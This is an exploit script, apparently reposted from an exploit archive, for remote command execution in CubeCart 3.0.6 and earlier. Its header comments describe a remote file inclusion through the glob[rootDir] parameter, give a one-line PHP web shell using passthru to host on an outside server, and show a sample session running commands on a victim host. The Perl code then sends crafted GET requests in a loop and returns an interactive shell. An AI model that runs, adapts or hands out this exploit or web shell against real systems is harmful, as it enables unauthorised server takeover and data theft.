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CubeCart <= 3.0.6 Remote Command Execution Exploit
================================================== CubeCart <= 3.0.6 Remote Command Execution Exploit ================================================== #!/usr/bin/perl # # cijfer-ccxpl - CubeCart <=3.0.6 Remote Command Execution Exploit # # Copyright (c) 2005 cijfer <cijfer@netti.fi> # All rights reserved. # ## 1. example # # [cijfer@kalma:/research]$ perl ./cijfer-ccxpl.pl -h www.xxx.com -d # [cijfer@www.xxx.com /]$ id;uname -a # uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv) # Linux server.xxx.com 2.6.10-1.771_FC2 #1 Mon Mar 28 00:50:14 EST 2005 i686 i686 i386 GNU/Linux # # [cijfer@www.xxx.com /]$ # ## 2. explanation # # a serious bug was discovered by me in CubeCart 3.0.6 and below which an attacker # can remotely execute arbitrary commands via 'includes/orderSuccess.inc.php' where # passing input to the 'glob' and 'cart_order_id' variable, we can attain access to # passing input to the 'glob[rootDir]' variable, and include a remote execution script # to execute arbitrary commands. as usual, this requires 'register_globals' to be # enabled in order to successfully do this, otherwise a 403 error will show. # ## 3. the bug # # this below allows us to bypass the 403 error... # # <? # ... # if(!isset($glob)){ [1] # ... # # pass more positive input to $cart_order_id and do you notice what is wrong here? # ... # if(isset($cart_order_id) && !empty($cart_order_id)){ [2] # // build thank you and confirmation email # include($glob['rootDir']."/classes/htmlMimeMail.php"); [3] !dangerous! # $mail = new htmlMimeMail(); # ... # ## 4. the php shell # # this exploit grabs data via regular expression strings. foreign php shell # scripts will not work with this exploit. use the following code along with # this exploit and put it in 'cmd.txt' or whatever you please: # # <?passthru($_GET[cmd]);?> # ## 5. the greets # # kippis to Zodiac, felosi, and odz. also shouts to lethal & hexy # ## # # $Id: cijfer-ccxpl.pl,v 0.2 2005/12/30 06:02:00 cijfer Exp cijfer $ use Getopt::Std; use IO::Socket; use URI::Escape; getopts("h:d:"); $host = $opt_h; $dirs = $opt_d; $shel = "http://website.com/cmd.txt"; # cmd shell url $cmdv = "cmd"; # cmd variable (ex. passthru($_GET[cmd]);) $good = 0; if(!$host||!$dirs) { print "cijfer-ccxpl.pl by cijfer\n"; print "usage: $0 -h cijfer.xxx -d /cubecart\r\n"; print "usage: $0 -h <hostname> -d <directory>\r\n"; exit(); } while() { print "[cijfer@".$host." /]\$ "; while(<STDIN>) { $cmds=$_; chomp($cmds); last; } $string = $dirs; $string .= "/includes/orderSuccess.inc.php?"; $string .= uri_escape($cmdv); $string .= "="; $string .= "%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B"; $string .= uri_escape($cmds).";echo"; $string .= "%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;"; $string .= "&glob=1&cart_order_id=1&glob[rootDir]="; $string .= $shel; $string .= "?"; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n"; print $sock "GET $string HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Accept: */*\n"; print $sock "Connection: close\n\n"; while($result = <$sock>) { if($result =~ /^_END_/) { $good=0; } if($good==1) { print $result; } if($result =~ /^_START_/) { $good=1; } } } # 0day.today [2024-07-02] #